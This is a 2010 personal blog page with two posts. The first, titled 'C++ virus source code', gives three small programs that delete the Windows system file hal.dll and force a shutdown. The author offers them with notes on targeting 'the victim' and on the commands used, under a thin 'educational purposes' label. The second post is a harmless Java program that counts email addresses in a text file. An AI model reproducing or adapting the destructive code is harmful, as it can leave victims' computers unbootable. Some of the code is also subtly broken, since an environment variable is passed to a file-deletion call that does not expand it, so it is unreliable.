Wednesday, December 15, 2010

C++ virus source code

Don't try on your computer. And this is for only educational purposes.

#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
    std::remove("C:\\windows\\system32\\hal.dll"); //PWNAGE TIME
    system("shutdown -s -r");
    system("PAUSE");
    return EXIT_SUCCESS;
}

More advanced source code.

#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}

The second version would be more useful during times when you do not know the victims default drive. It might be drive N: for all you know.

#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
    system("del %SystemRoot%\\system32\\hal.dll -q"); //PWNAGE TIME
    system("%SystemRoot%\\system32\\shutdown.exe -s -f -t 00");
    system("PAUSE");
    return EXIT_SUCCESS;
}

The "del" command is used in DOS to delete stuff. "-q" is a parameter which means force delete,or delete without asking.shutdown -s -f -t 00 means shutdown,force close everything running,in 00 seconds time.

NOT MY WORK. I FOUND IT FROM INTERNET.

Thursday, December 2, 2010

Read Text File Containing Email Addresses..

I wrote this small program to count email addresses in a text file. And to print email addresses one by one.

I use StringTokenizer class  to sort emails. You can use any character to sort out Strings.

For example, my file contains isuru@xcs.com; madusanka@qwe.com; roxniro@qwa.com... so I user ";" character to sort emails. You can use "@" character to collect user names of email addresses.

File Reader Class

import java.io.*;
import java.util.StringTokenizer;

public class FileReader {

    File file = new File("/root/Documents/emails.txt");
    StringBuffer contents = new StringBuffer();
    BufferedReader reader = null;
    String text = null;
    StringTokenizer st1;


    public void accessFile() {
        try{
             reader = new BufferedReader(new java.io.FileReader(file));
             while((text = reader.readLine()) != null){
                 st1 = new StringTokenizer(text, ";");
                 System.out.println("There are "+ st1.countTokens()+" email addresses!");
                 while(st1.hasMoreTokens()){
                     System.out.println(st1.nextToken());
                     
                 }
             }

        }catch(FileNotFoundException e){
            e.printStackTrace();
        }catch(IOException e){
            e.printStackTrace();
        }

    }

}

Main Class

/**
 *
 * @author Isuru
*/
public class EmailCounter {

    public static void main(String args[]){
        FileReader app = new FileReader();
        app.accessFile();

    }

}